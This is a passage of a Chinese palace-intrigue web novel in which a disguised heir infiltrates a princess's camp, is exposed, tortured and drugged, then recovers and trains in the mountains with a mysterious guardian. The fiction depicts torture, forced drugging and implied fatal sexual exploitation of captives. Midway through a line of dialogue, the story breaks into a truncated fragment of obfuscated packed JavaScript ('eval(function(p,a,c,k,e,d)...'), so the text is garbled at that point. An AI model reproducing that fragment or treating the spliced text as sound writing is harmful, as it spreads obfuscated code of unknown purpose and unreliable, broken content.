沈云漪再次颔首,随后道:“我本来想先回庄子上再想办法来救青黛,但是照如今的情势来看,时不我待。” 长公主遇刺,已经命侍卫围了山,若她与那些贼人为同伙,此时围山势必为了掩盖痕迹追回出逃之人。 沈云漪与裴永昭如今还没被抓住,青黛若还在他们手里,他们势必会刑讯逼问青黛。 青黛的忠心她是不担心的,可是她不想让青黛为此失了性命。而且青黛是女身,他们轻易查验便可知,到时候她的身份也会面临暴露的危险。 “可是你的伤……”裴永昭指着她的腿。 “无妨,皮外伤,上过药已经好了许多。”这是实话,那伤药虽然都是最普通常见的草药配制,药效却出奇的好,沈云漪感觉腿上的伤已经好了许多。 见裴永昭还是有些犹豫,沈云漪抿了抿唇道:“若是我说,长公主与那三百万两饷银的下落有关,你会去吗?” 裴永昭看向一旁握着长矛昏昏欲睡的兵卒,并未回话。 —— 今日虽然天冷,但是天气晴好,就算是晚上,一轮明月高挂在半空中,映得地面上也如白昼一般。 夜浓了,各个哨点都有一名兵卒值守,此时又到了换人的时间。 刚刚撒尿的两人,此时睡眼惺忪的拿着长矛深一脚浅一脚的往他们各自负责的哨点走去。 “兄弟,待会早点来换我哈”年轻些的兵卒拍了拍裴永昭的肩膀,裴永昭身子一僵,随即恢复,头也未回道:“好”。 12. 混入大营 换上这身装扮,行事果然方便许多。裴永昭回头望了望,他将沈云漪安置在了距离此地不远的一处山洞里,那山洞外面用石块树枝作掩饰,应该是轻易难发现的。 黑洞洞的大营,仿佛噬人的野兽,迫不及待地等着裴永昭入口。 按照沈云漪之前的推断,此事牵扯甚广,长公主应该还未回京,如今仍在营中休整的几率较大。而她身份尊贵,她住的营帐必然与中军大帐毗邻。 而裴永昭此行,不仅要救出青黛,还要找到另外一样重要的证物,那东西是能够证明舒郡王之案枉判的重要证据之一,它如今在长公主手上。东西如此重要,长公主必然随身携带。 提供这条线索也是沈云漪让裴永昭救青黛的交换条件。 冷泉山下这座大营是临时匆匆搭建,与边关正式行军打仗的兵营不能相比,不说营门少了许多,就是兵营周围的瓮城也未建几个,只在周围浅挖了几道壕沟,设了栅栏。不过也按规矩设了中军帐,周围一排排簇拥中军大帐搭建的则是士兵营帐。 营帐之间留有通道,是为了方便士兵通行也是为了发生紧急情况时能迅速作出反应。 裴永昭侧身站在暗影处,再次避过一队巡逻士兵。随即他颔首低眉,快速朝着中军大帐走去。刚刚他匆匆查探过几个帐篷,里面都没有他要找的人。 待那群人走远,裴永昭低头看了看自己身上的衣裳,刚才他便觉得哪里不对劲。之前只顾着找人,并没有注意这些细枝末节,他身上穿的甲胄与刚刚几队巡逻士兵身上穿的甲胄都不像是五城兵马司番役穿的。 这全套的制式甲胄,倒是有些像护卫营的禁军穿的。这些东西裴永昭原先也不懂,还是前些日子在寒山寺养伤时,无聊时翻阅寺内藏书阁的当朝杂学书籍了解到的,也是现学现卖。 按理说长公主遇刺,应该先是五城兵马司出动,若是情况复杂才会出动护卫营。看来此次情况确实复杂,就是不知除了他们还有什么人牵扯其中。 听说这位庆阳长公主在先皇在世时并不受宠,她母妃文太嫔的位份不高,她的容貌才学都不出挑。 不过也是她造化好,如今的崇历皇帝年幼时曾与其一同养在文太嫔宫中,两人有一同长大的兄妹情谊,崇历皇帝登基后,对她便比对其他几位公主多了几分优待。 其他公主不是被送去番邦和亲,便是未到成年便已夭折。崇历皇帝命人在京中建造了公主府,又亲自为其挑选驸马,不过命运弄人,经历接连丧夫丧子,庆阳长公主便整日礼佛,低调行事。倒不像是可以调动护卫营的模样。 若是那样,他身上的甲胄又如何解释?像一团乱麻,越是拆解越乱。 想到这,裴永昭叹了口气。没想到还是被卷进风波里,沈云漪说的没错。他的身份特殊,他父王母后又死的蹊跷,若是想过安稳日子,便要有足够的实力。 沿着营帐小道越往中间走,值守的士兵人数渐渐增多。待看到中军大帐时,裴永昭不敢再贸然往前走。恰好此时一名年轻侍女从中军大帐旁边的白色营帐内出来,踅摸了下四周,随意指了几人进帐,裴永昭正欲转身另寻藏身处,也被叫住。 “还有你,也进来?” “是” “……是” 学着其他人的模样,将手中的兵器在营帐外安置好,裴永昭敛眉垂首地跟在其他几人后面进了营帐。 刚进营帐,一股子热腾腾酒气混杂着股子奇异味道扑面而来。裴永昭轻轻皱了皱鼻子,看见其他人并无异样,他也继续装作如常地跟着往里走。 正对着营帐的是座绘着山水的屏风,此时屏风后传来衣料的摩擦声与断断续续的女人轻笑声。 侍女领着他们直接绕过屏风,走到屏风后面的白色帷帐外,地上已经躺着几名衣衫不整的年轻男子,俱是眼球微突圆睁,嘴唇青紫的样子,下巴上还有未干的血痕。 看他们那个样子,已经没有半点活人气息。 就在此时,白色帷帐内的床榻上传来男人急促的喘息声,空气中那股奇异的味道逐渐变得浓郁起来。 “将他们搬走”侍女旁若无人的指挥着裴永昭几人,处理地上的尸体。 “是” “是” “……是” 其他几人也像是干惯了这活计的,并没有多嘴,眼睛自进来后也未曾乱飘一眼。他们两人一组,一人抬头,一人抬脚。很快,地上便被收拾干净。 “等等,还有这个”帷帐内传来女声,那侍女看了眼只有裴永昭跟另外一名士兵手上闲着,便示意他们两人跟过来。 帷帐被掀开,那股味道更加浓郁。虽然裴永昭没有吃过猪肉,但是也见过猪跑,这股味道正是男女事后才会有的。 精美的雕花木床上,一衣衫清凉的中年美妇正眼神微眯,半靠在床头的锦缎靠枕上,陀红色的脸上,一副餍足的表情。床边还躺着一名脸色苍白,此时已经陷入昏迷的年轻男子。 看见那年轻男子熟悉的脸,裴永昭瞳孔微缩,魏潜。 魏潜便是与他一起从密室中逃出的少年,没想到他最后还是被抓回去了。 裴永昭就这一愣神的功夫,那中年美妇微眯的双眼蓦的睁开。 垂下头,并未与其对视,裴永昭配合另外一人将魏潜抬下床榻。 “绘春” “殿下,有何吩咐”绘春本欲示意裴永昭等人赶紧收拾完出去,听到吩咐赶紧回身。 领裴永昭他们进来的侍女名唤绘春,是庆阳长公主身边最为得力的侍女之一,至此可以判定,那床上的中年美妇正是庆阳长公主。 “给他喂些药,待好些了便留在府里伺候。”庆阳长公主看着脸色苍白双目紧闭的魏潜,脸上带着玩味的笑,这少年与旁的不同,倒是让她多了几分兴趣。复又目光上移若有似无的打量了几眼正在搬“尸”的裴永昭。“你倒是看着面生。” 听到这话,裴永昭感觉手心里汗津津的,后背上也冒了一层薄汗,但面上还是强装镇定。 就在他思量如何回答能逃脱嫌疑时,绘春此时开了口:“回禀殿下,之前那名士兵身子不舒服换值,奴婢看见大人安排这人在营帐旁候着,刚才怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这座营帐与普通的士兵营帐并无不同,但是掀开门帘,里面还有一间间铁笼。 那铁笼是生铁制成,空间不大,仅能站立一人,蹲都蹲不下。没错,那铁笼里的人无论是吃喝拉撒睡,在里面只能站着。此时林林总总那些铁笼共关了十余人,几人昏迷不醒,几人看见裴永昭几人进来,赶紧惊恐地抱头转过身去。 时间长了,被困在这铁笼里的人不死也得疯。 他飞快的查看了一遍,这些铁笼中并无青黛。 找了个靠近边角还空着的铁笼将魏潜放进去,刚才与魏潜一同来送人的士兵揉了揉酸痛的肩膀,颐指气使地道:“这都到下半夜了,你守着我去睡会儿。”那人在营中也是个小官,正是他们几个人的头儿,县官不如现管,他说什么,裴永昭都得照办。 “是” 不过他这安排正好遂了裴永昭的意。他还有些事要做,这人在这里碍事不便说。 “你醒醒” 又等了一会,确保笼子里的其他人已经睡着,裴永昭走到角落的铁笼前小声唤了几声魏潜。 他眼皮抖了几下,缓缓睁开。 待看清楚裴永昭的脸后,魏潜牙齿死死咬住下唇,想要止住颤抖的下巴。那双眼睛里,只剩下浓烈的惊恐在里面的翻涌。 裴永昭缓缓回过头,后面站着的是去而复返的那名士兵,他旁边站着的正是绘春。绘春身后两名士兵架着的人,他越看越眼熟,正是他这身衣服的原主人。 13. 识破 “舒郡王世子,别来无恙啊?”营帐中间摆着张帅案,帅案后坐着一名人高马大身着甲胄满脸络腮胡的中年壮汉,那人此时正斜坐在帅椅上,他边开口边把玩着大拇指上的翠玉扳指,高耸的眉骨暗影下掩不住那眼底的凶光。此时他就算没将目光放在裴永昭身上,也让裴永昭有种置身冰窖的感觉。 此人正是二品护军统领张虎,是护卫营的最高长官。裴承霄那小子在宗学里横着走,便是借了他父亲是护军参领的光。护军参领尚是三品官职,比起眼前这张虎,还是要低一品阶。 此时张虎坐在这里,只能说明护卫营与长公主已经沆瀣一气。 一个守寡多年的长公主,能暗地里与护军营勾结,只能说明这些年她掩饰的足够好,足够深,背后的实力也足够强劲。 保守多年的秘密此时暴露于他知晓,不是他裴永昭命不久矣,毕竟什么人的嘴也不如死人的嘴严实;便是……她对自己有拉拢之意。 想到这里,裴永昭狂跳的心渐渐冷静下来。反正是捡来的一条命,能搏一搏便多活几日。 “说起来,你满月时本宫还抱过你。”庆阳长公主拇指规律地拨动着手里的红珊瑚佛珠,似笑非笑地看着下面站着的裴永昭。 此时的她换了身淡青色袄裙,外披白色瑞鹤祥云大氅,头发只是简单的挽了个圆髻,斜插着支碧玉簪子固定,并无过多的饰物。如此端庄出尘的模样,与她在帐中时判若两人。 若不是裴永昭此时被捆成了粽子,身后又被两名士兵押着肩膀动弹不得,这气氛倒是真有种长辈与晚辈话家常的感觉。 “虽然已经几年未见,可你与你母妃像一个模子里刻出来的。”刚才在白色营帐内看见裴永昭第一眼,庆阳长公主便已经将他认出。 “好了,在这里还怕他跑了不成,松开吧。”长公主一挥手,押着裴永昭的几名士兵闻令将其松开。见裴永昭一直未开口,庆阳长公主将手中的佛珠搭在手腕上,不再拨动。“我知道,你潜进这大营,便是想要从本宫这里拿走些什么,怎么,东西未到手,你便准备离开?” “千方百计引我进营,怕是长公主殿下想从在下手里拿走些什么吧?”裴永昭抬起头,目光扫过帅案后面的张虎,在他脸上看到了不屑。待光扫到长公主脸上时,见她脸上的笑意更深了几分。仿佛早就已经料到裴永昭会如此说。 “哈哈哈哈,果然外面的传言当不得真,舒郡王的儿子,怎么可能是草包。”张虎笑着将扳指重新套在拇指上,身子也已坐正。 “舒郡王临终前可曾向你交代过什么,或许给了你什么信物?”张虎脸上的笑是硬扯出来的,他双手撑着帅案,一双三白眼直直地盯着裴永昭的眼睛。“你如实说,好处自然少不了你的。” 那眼睛里的贪婪直白不加掩饰,裴永昭抿了抿唇,面上要表现的云淡风轻,其实心底里早已急得不行。此时此刻,裴永昭也十分好奇,他手里到底有什么底牌,能让人如此大费周章的算计。 他翻看过原身多次关于舒郡王临终之前那次见面的情景,除了勉励裴永昭好好活下去,照顾好舒郡王妃之外,其他并没有什么异样。 更别说什么信物。 但他又不能直说他们要的东西自己手里没有,若是他如实说了,怕等待他的只有死路一条。 “有。” “好,快给我!”听到裴永昭说有,张虎脸上的贪婪之色瞬间被欣喜取代。旁边的庆阳长公主见他如此模样,眸子里飞快的闪过一丝厌恶,随即恢复如常。 “若是交给你们,你们能保证放我平安离开,以后不再纠缠?”说出自己的条件,裴永昭在赌。 “自然是能!”张虎急切的双手撑住帅案,“东西在何处?”。 裴永昭与长公主的眼神交汇,他喉结不安的滚动了一下,墨玉色的眸子微微左移。 “东西在一处只有我知道的地方藏着,那地方只有我知晓,你们可以派心腹之人随我去拿。” 长公主那双杏眼看似波澜不惊,却将裴永昭的反应尽收眼底,她知道裴永昭并没有跟她交实底。 只见她抬起眸子,唇角噙着三分浅笑。“世子最好不要妄想耍花招,本宫与张统领可以保证,若是你有虚言半分,便无法囫囵着出去这冷泉山。” “况且舒郡王世子重情重义,应该不会想要沈姑娘受你牵连吧。”长公主话落,绘春与另外一名年轻侍女押出一人。 那人裴永昭认得,正是此时应该在营外山洞里藏身好等他消息的沈云漪。 此时的她有些狼狈,发髻散了,眼角微红,显然是哭过,此时就算身着男装,也能一眼辨认是位姑娘。 一旁的张虎眼神直勾勾的在沈云漪身上上下打量,眼中充满掠夺的意味。 “世子救我”沈云漪挣扎着望向一旁的裴永昭,又被一旁的绘春狠狠按住,那泫然欲泣的模样,两人之间又共同经历过生死难关,寻常男子必会于心不忍。 但是他们算漏了一拍,如今的裴永昭还真不能按常人来算,毕竟芯子换了。 “沈姑娘为何要害我?”无视她那梨花带雨的演技,裴永昭淡淡地开口。 沈云漪微愣,随后嘴角微微扬起,眼角的泪珠挂在那里不再下落,衣袖下的指尖已经攥的发白。“可恶,竟然被发现了。”收起眼泪,沈云漪直起身子接过旁边书夏递过来的帕子,轻轻沾了下眼角。刚刚那被那葱头熏的眼睛发酸,这罪算是白受了。 “本宫先前就说了,若是随了他那老奸巨猾的父王,这小子没那么好骗,你还偏要试。” 尽管已经猜到两人是一伙的,可看庆阳长公主与沈云漪说话的语气,两人像是相交多年的好友一般,倒是让裴永昭没有料到。 很快便有人搬来椅子放在沈云漪身后,她坐下后才又将目光转移到依旧五花大绑的裴永昭身上。“裴世子不若将东西交出来,知道的实情说出来,毕竟都是身外之物,什么东西都不如性命重要不是?” 平静的看着沈云漪,裴永昭此时知道她再次诓骗自己后,对她并没有太多的恨意,更多的是好奇。到底为了什么重要的东西,竟然如此兴师动众的演这样一出戏来诓他。 见裴永昭嘴硬,最先沉不住气的是帅案后坐着的张虎。他怒拍帅案道:“既然敬酒不吃吃罚酒,来人啊,给我拖下去用刑。” “是!” “是!” 帐外又进来几人,将裴永昭拖了下去。 军营中的刑罚与大狱里的比起来,花样只会更多,下手的力道只会更重。 几样刑罚受下来,裴永昭已经丢了半条命。抬了抬已经没有知觉的胳膊,他心 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第二日傍晚时分,外面进来几人将铁笼的门打开,笼中的少年都被驱赶出来,众人被困在那狭小的铁笼中,腿脚血脉不流通,走路跌跌撞撞,后面看押的士兵不耐烦的挥着鞭子驱赶。 笼中的少年被驱赶出来盥洗干净,重新换上统一的月白色衣袍,重新被关进铁笼中。 裴永昭受了刑,身上的伤碰了水,像是在被钝刀子割肉。可若是不听,迎头便是一鞭子。 他无力地倚靠在铁笼上,月白色衣袍下血水渗出,冷汗顺着棱角分明的下颌滚落,砸在地上。 放置铁笼的营帐门再次被掀开,进来的是绘春,她身后还跟着几名壮汉。 先是查看了下魏潜的情况,绘春又将目光向裴永昭投来。“他身上的伤不碍事吧?” “回禀姑娘,这小子都是受的皮外伤,顶多疼上几日,无大碍的。”一直在帐内负责看管所有少年的士兵上前谄媚地小声道。 绘春点了点头,指着笼中的魏潜,“把他送去殿下帐里,记得先给他喂上汤药”。 “是” 她又指着另一铁笼中的裴永昭,“押上他,随我来。” 正在裴永昭疑惑时,两名壮汉打开关押他的铁笼,押着他跟在绘春身后来到一处稍小些的营帐。 “沈姑娘,是奴婢绘春。” “进来”。 沈云漪的声音从帐中传来,裴永昭的眉头皱起。 “殿下吩咐,舒郡王世子的容貌是诸位公子里最好的,此次沈姑娘又立了功,殿下将他赏给姑娘享用,解解乏。” “解解乏?”裴永昭将这几句话又反复咀嚼了几遍,确认自己没有听错,似是想到什么他望向沈云漪,两人目光在半空中相接,他飞快的将脸挪到一旁。 “绘春姑娘,我……”沈云漪欲说什么,最后还是化作一句“谢过长公主殿下”。随即福身行礼。 “先把汤药喂上,免得行事时再伤到姑娘。”绘春一挥手,身后的壮汉捏住裴永昭的下巴,将一碗乌黑的汤药灌进他嘴里。 那药也不知道起什么作用,被灌下去后,裴永昭直觉得身子忽冷忽热,口干舌燥起来。 “好了,都下去。你们也都去帐外伺候着,随时听姑娘吩咐。”绘春吩咐帐内伺候的众人退下,此时的营帐内只剩下裴永昭与沈云漪大眼瞪小眼。 14. 魏叔 裴永昭被安置在屏风后的床上,此时他身上捆着的绳索已经被解开,但他因为先前受刑受伤,就算给他解了绳子,他也出不了这营帐。 帐内慢慢静下来,静得裴永昭只能听见自己的心跳声。 扑通扑通……胸膛里像是有团火要跳出来,他躺在那里,像离岸的鱼,张着嘴,大口地掠夺着空气中的氧气。 “他们喂我喝的什么?”眯起双目,喘着粗气将视线定焦在一旁一直未开口的沈云漪身上。 因着药效的作用,他的声音有些不自觉得喑哑颤抖。 “慎恤胶”沈云漪红唇微动,回道。 “那是什么?” 沈云漪的双颊泛起绯色,将脸扭向一旁“你不用知道”。 “那……那我现在”,他感觉胸膛里的那团火蹿到了小腹,那种感觉让他陌生又羞愧。但有一点也让他感到好奇。“长公主每次行事之前都给他们喂这个?” 怪不得那些人暴毙而亡,看来是喂了药。 不过都是正当年的青壮年,没想到还会被床帏之事折腾的丢了性命,这位庆阳长公主看来人不可貌相。 裴永昭如今倒是有些庆幸自己是被抬到了沈云漪的帐内,若是将他抬到长公主帐内…… 想想裴永昭就觉得后背一阵阵凉意。但按辈分来算,他还要喊庆阳长公主一声堂姐,她就算再□□,应该也不会行血脉□□之事吧。 站着的沈云漪感觉裴永昭没了动静,刚才杂乱粗重的呼吸声也平稳了许多,不禁有些好奇的转过脸。 这慎恤胶是她根据古籍上的方子加减调配出来的,药效怎么也得维持三四个时辰。初配得此药时长公主心情大悦,她献药有功,再加上此次行动,想必能成功顶替上一世的沈云芳,成为长公主身边的第一人。想到这里,她睫羽微垂,眼中多了几分让人捉摸不透的神色。 对所有人都有效的药,不可能到了裴永昭这里就失了作用,俯身将手搭在裴永昭的手腕上,脉象平稳,那药效才一炷香的功夫就散掉了? 感觉到手腕上的丝丝凉意与柔软的触感,裴永昭刚刚平复下去的那股火又死灰复燃起来。他不受控的反手扣住沈云漪的手腕,俯身将其压在身下。 猛地意识到自己做了什么的裴永昭死死抓住床沿,他将脸撇向一旁,指节因为用力而泛白。喉结上下滑动,墨玉色的眸子如今充满血丝。“我……我不可以”。 看见他痛苦隐忍的模样,沈云漪刚欲动作的手停在半空中。 “世子殿下,先前我提出的合作依然作数”微微仰起头附在裴永昭耳边说完,沈云漪手中早就备好的银针朝着裴永昭的后背刺去。 “呃!” 只感觉后背一下刺痛,裴永昭便彻底失去了直觉。 “出来吧,现在可以将人带走了。” —— 迁州,固安县。 深冬,地里已经封冻,忙活了一年的农户都躲在家里猫冬。 推开房门,裴永昭搓搓双手深呵了口气,一团白雾在手心里散开。 迁州地处西北,比起京城多了几分干冷。脱下身上的袄子,随手搭在一旁。裴永昭先是围着院子跑了几圈,待身子彻底暖和,手心微微出汗才停下。 将新学的招式又练习了几遍,裴永昭才回到屋里。此时魏叔已经将饭菜准备好,只等他吃饭了。 “魏叔” “快吃饭吧,快凉了。”魏叔面无表情的将手中的筷子递给裴永昭,自己也坐下端起碗。 桌上只是简单的粥饭小菜,裴永昭却埋头吃的香甜。 “待会用完饭,我去后山一趟,你若是无聊便自己看会儿书,午饭过后我会考校你昨日所学。”魏叔吃饭极快,几下将碗中的粥送入腹中,端起碗便去了灶房。 吃了一半的裴永昭听到待会要考校,眉心隆起褶皱。 魏叔做饭,他便刷碗,这是他自己揽下的活。 收拾完,裴永昭拿了本书坐在窗前的书案后,书上的文字晦涩难懂,他每个字都认识,连起来却又都不认识。 他承认,自己在这方面与原身一样草包。 看着这之乎者也的文言文,裴永昭一时间有些怀疑自己一月前的选择是否正确。 一月前,他在这小院醒来。 裴永昭在冷泉山山脚下的营帐里昏迷后便失去了意识,是魏叔救了他。他再次醒来时,已经来到了千里之外的迁州。 他们如今居住的这座小院地处位置偏僻,邻山而建。山前还有一个村子,名为华山村,村子人不多,但是民风淳朴,因为村里只有魏叔一人识字,村里人敬重魏叔事读书人,便常常给魏叔送些家里的菜、蛋等。 但是他们来敲门时,魏叔叮嘱裴永昭必须在屋里待着。 魏叔说过,他现在还不宜贸然见生人,这是为他自己好,也是为其他人好。 虽然不解,但是裴永昭敬重魏叔,没有多问,只是照做。 他与魏叔就这样岁月静好的在这小山村里生活着,京城里发生的事像是一场梦。 魏叔的身份神秘,他只知道魏叔与自己的父王母妃是旧相识。 母妃蒋氏临终前给魏叔送信,求他照拂自己儿子。 魏叔便从里三层外三层的军营中将他救了出来。他醒来后,魏叔并未说其他,只是将一些东西推到他面前的桌子上。 那是一个包袱,里面全是一些孩童的小玩意儿。东西都半新不旧,看起来有些眼熟,裴永昭拾起里面一个看起来有些破旧的拨浪鼓,晃动了几下,那是他母妃蒋氏在他五岁生辰时送给他的。底部的尖已经被磨钝的木陀螺,这是他八岁那年淘气将府里的西席先生气走,被父王责罚,蒋氏拿来哄他的。 桌上的东西对他来说既熟悉又陌生,他每拾起一件,一段回忆便从他脑海中醒来。 他两世为人,这是第一次感受到亲情是怎样的。 那种被爱着的感觉,真好啊。 裴永昭握着陀螺,贪婪的陷入回忆中。 “你父王母后,都是好人。你父王贤明,你母后淑良,可惜被奸人陷害殒命。 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平时魏叔出门都会从外面将院门锁上,所以他根本出不去,可是他昨日他抱柴的时候发现墙角一处墙头坍塌了些,比旁边的院墙要矮上许多,他若是踩着点东西,应该能行,正好试试这些日子苦练的轻身之法有没有长进。 只要在魏叔回来之前回来,应该不会被发现。 说干就干,裴永昭踩着柴堆,轻轻一跃便跳出了院子,倒是比想象中要简单的多。 本来想去村子里看看,但想起魏叔叮嘱过不能让外人看见他的样貌,他还是调转方向往后山走去。 此时气温回暖,山上的雪薄了许多,虽然踩上去还是咯吱作响。 不知是脚步声惊动了什么小动物,前面的灌木枝子抖动了一下,裴永昭停下步子。 地上有血。 一滴暗红色的血洇在裴永昭脚下踩的雪层里,他将脚步收回,蹲下身子查看。不知是属于什么动物的,但看颜色,应该不会太长时间。 裴永昭此时有些犹豫,到底还要不要继续往前走。冬天的树林里野兽没有食物,比起寻常时候要凶狠许多。若是碰上,小型的还好,若是虎狼之类的,恐怕是有去无回。 可是……魏叔早上时说他要去后山。 若是这血渍是他的。 裴永昭的脚踩过那团血渍,往后山走去。 这里本没有路,应该是走的人多了,硬生生踩出来的,旁边的干硬的荆棘丛不时偷袭一下,裴永昭的腿上已经中了好几次昭。 地上有走动的痕迹,还有几道错乱的脚印。 裴永昭顺着小路上的痕迹一直往前走,不知不觉便走到看了树林深处。 手里握着从路边就地取材的木棍,裴永昭感觉心理踏实了许多。 想起以前,他也执行过原始森林的任务,像是这种山地越野,他能急行军两个小时不带停的。可是如今不行了,仅仅疾步行走了半个时辰,他便有些气喘。 扶着一旁的树干刚想歇息片刻,裴永昭听见前面的树林里传来窸窸窣窣声。他紧走几步上前,看见不远处的一处空地上有处深坑,旁边正在一具一具往深坑中抛尸体的,正是他找了一路的魏叔。 15. 重新选择 “先回去再说”将最后一具包裹严实的尸首扔进深坑,魏叔开始填土。 既然他如此说,裴永昭纵使心中多有疑问,也没有开口,而是走到深坑旁帮魏叔往深坑中填土。 这里面大概十余具尸体,都是身着黑衣,脸上也是黑色面巾蒙面,虽然没有确凿的证据,但他基本上可以断定,这些人跟在乱葬岗想要取他性命的人看上去是同一伙人。 一路无话,回到他们暂住的小院,魏叔摸了下门栓上毫发无损的铜锁,并没有多说什么。 魏叔泡了盏热茶,两人坐在窗前。外面又下起了零星小雪,今日是小年,虽然他们住的距离村子远,但还是听到村里断断续续的鞭炮声。 “如你所见,那些人已经得到消息,相信不几日,咱们这里便要热闹起来了。”魏叔捋了捋下巴上的胡须,将壶中的热麦茶给裴永昭倒了一杯。他蓄须只蓄了下巴上的胡须,上唇光秃秃的,看起来有些怪异。但是魏叔说了,上唇蓄须,吃饭喝水容易蹭到,不太干净。 给自己也倒了一杯,热气腾腾的麦茶一下肚,魏叔舒服的舒了口气。“那些尸体是这些日子来打探消息的,三三两两的,我怕麻烦,便攒了攒一块收拾了。”魏叔说的云淡风轻,像是杀鸡宰鱼一般简单,裴永昭听得沉默不语。 “魏叔,我……不可能过上普通人的日子的”裴永昭端起茶,滚烫的茶水经过粗瓷杯子的缓冲,热意变得不再那么具有攻击性,端在手上,整个人都暖和起来。 “你放心,我已经寻好下一处藏身的地方,咱们今日傍晚出发。”既然答应过他母亲,他便会竭力照顾好他。 听到魏叔的打算,裴永昭垂下头,情绪有些低沉。“沈云漪说的对,不争不抢并不能好好活着。”想好好活着就得先把失去的找回来,需强过敌人,才能真正的好好活着,安稳地活着! “哦?沈姑娘虽一介女流,但行事作风不输男儿,她的见解虽然直白,却也是事实。这个世道,吃人,想好好活着,才是最难的事。”魏叔不知想到了什么,眼神黯淡了几分,手中的茶已经用完了也不知,还往嘴边送。 “我要查出事情的真相,我要帮父王母妃平反,我要舒郡王府恢复往日荣光!”纠结了这些日子,说出这些话时,裴永昭感觉胸膛上一直郁结的那股子气才散了,此时心中无比畅快,眼神也渐渐清明起来。 将凉透的杯子放下,魏叔双手扶膝,满脸正色地看着裴永昭,“这条路不好走,你可想好了?” “想好了。我命运如此,注定是过不上普通人安详稳定的日子,我想活着,便要一步一步往上走,若是我不往上,便要被人碾踩在泥里。”他算是看透了,根本容不得他选择。就算他选择不复仇,不寻求真相,那些做贼心虚的凶手也不会相信,不会留他在世上。他像一根梗在喉咙里的鱼刺,注定是要被清除的。只是时间早晚的问题。 就算现在魏叔可以帮他暂时隔绝一些,那以后呢,既然无法避世,不如入世。 “那好,收拾东西吧。” “魏叔,咱们不是不用……” “既然想要与那些人对抗,仅凭现在的你,还太弱。” —— 在距离过年还有六日时,魏叔带着裴永昭住进了后山。 他们小院后面那座山,名为大华山,常年被云雾笼罩,山体由多座险峰错落相连而成,其中属主峰藏云峰最为险峻,藏云峰常年积雪,与外界仅有一座不知何年何月搭建的吊桥相连。 本以为上了山,魏叔会将他的绝学倾囊相授,他在山上无畏酷暑寒冬,勤学苦练,学成下山之日,便是他父母沉冤得雪,舒郡王府重复往日荣光之日……但一切都是他想太多。 魏叔武功高强,却只是扔给他一堆书,让他先通读。 书籍也并不是什么孤本秘籍,只是寻常读书都需学习的《论语》《孟子》《资治通鉴》等。 “你父王像你这么大时,才兼文武,已经继承郡王爵位,能够独当一面。”瞥了眼埋在书堆里正一脸愁容的裴永昭,魏叔无声的叹了口气,“虎父无犬子,你自己思量吧。”没有过多劝勉的话,魏叔又来回几趟,分别搬来了《孙子兵法》《六韬》等书籍。 这有些书籍,寻常人家也是难寻的。而且这书籍上的标注详细,让晦涩难懂的内容也变得不那么难读起来。 拿起一本《资治通鉴》裴永昭细细读起来,沉下心来时,时间便过的飞快。 转眼间来到山上已经大半月有余,今日是正月十五,依旧是在藏云峰上过。用了早饭,魏叔一大早便下了山,临走前嘱咐裴永昭温习昨日所学,不得乱走动。 山上此时冰雪封山,山里的野兽找不到食物,最是凶狂的时候,魏叔说了,就凭裴永昭那两下子,碰见个小型野兽还好,若是碰到虎豹之类的,便只有等死的份。 裴永昭也有自知之明,便在山洞里捧着书本烤火,倒也惬意的很。 临近午时,魏叔还没回来,裴永昭走到吊桥那里望了望,“若是没有意外的话,这个时辰应该是回来了,该不会出了什么事?”。 一直到傍晚,太阳即将西落,也没有见魏叔的影子。次日清晨,魏叔还是未归,裴永昭有些坐不住了,他准备下山寻找。 裴永昭顺着记忆中上山的路,往山下走去。 虽然已经过完年,天气也渐渐转暖,可山上的积雪还是冻得结实。一走一滑,下山的路要比上山的路难走。平时上山几个时辰的路,他同样的时间,只走了一半的路程。 一路上西风凛冽,刮在人脸上生疼,裴永昭紧了紧身上背的弓箭。他嗅到寒冽的空气中散过来一股血腥味。 仔细观察着地上的积雪,上面并没有大型动物的脚印,裴永昭 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裴永昭沉着的从后背上抽出三根羽箭,朝着狼群射去。三箭齐发,不一会儿便听到箭簇穿透狼喉的闷响声伴随着呜咽声在桦树林中此起彼伏。 那只灰色头狼右侧眼睛中箭,箭簇从后脑出来,它躺在雪地上抽搐,不一会儿便没了动静。 本来裴永昭是并没有准备要它们的性命。但看它们已经饿红了眼的模样,今日若是他饶了它们,自己便成了它们嘴里的食物。 看着满地的血。裴永昭眉头皱起,这里的血腥气恐怕很快便会引来更大的猛兽,他必须赶紧离开。 将羽箭拔下,裴永昭正准备重新放回后背的箭囊里,一阵腥风迎面冲来,他敏捷地侧身跳到一旁,一道银白色的庞大身影已经出现在刚刚的灰色头狼尸体旁。它抬起硕大的头颅回望向裴永昭,是一只白虎。只见它通体皮毛雪白,泛着绸缎般的光泽,琥珀色的瞳仁静静的凝视着裴永昭。 只是被盯住,裴永昭便感觉到了森林之王的震慑力。他站在原地不敢动弹,那家伙虽然体型庞大,但动作敏捷。刚刚一跃,便跃到他跟前,若不是他躲的快,恐怕那蒲扇一般的前爪便要将他拍死在一旁的山石上。 见裴永昭老实站在那没有动弹,白虎低下头放心的享用食物。 大雪封山,就像是它这样的巨型猛兽,想要每日都能找到食物也是不可能的。看它的样子,不知道已经饿了多少日。 看它吃低头吃的认真,裴永昭小心地后退,却一个不小心右脚踩空,他整个人向后翻滚掉落下去。原来这桦树林后面还隐藏着一处山崖,山崖陡峭,平时被桦树林里的枯枝烂叶与积雪堆盖着难以发现。今日倒是被他给捡了个漏。 重重滚落,在彻底陷入昏迷之际,他没有等到魏叔,而是听到了那令人心悸的虎啸声。 16. 下山 不知昏睡了多久,裴永昭醒来时只感觉脸上潮乎乎的,一个毛茸茸的东西在自己手旁拱来拱去。 他动了动手脚,还好没有摔断,不然在这种地方,孤立无援,真有什么万一恐怕就得交代在这了。 坐直身子,捞起手旁那团毛茸茸的东西,裴永昭好奇地将其举在眼前,通体雪白,身上间布着银色斑纹,好像是只白色的猫。 这小家伙见裴永昭如此无礼的提着自己的后脖颈子,正龇牙咧嘴的向裴永昭挥爪示威。 想起怀中还带着包鹿肉干,裴永昭将其放在地上,又掏出一些肉干放在手中,那小家伙闻到味道,也不呲牙吓唬人了。将鼻子凑到裴永昭手上,嗅了嗅,拱在他手上将肉干咬起,香甜的咀嚼起来。 不对劲,这种地方,就算是野猫也不可能长得如此胖乎壮实,这倒是有几分像……像刚才那只白虎的幼崽! 幼崽在这里,那白虎一定在附近。 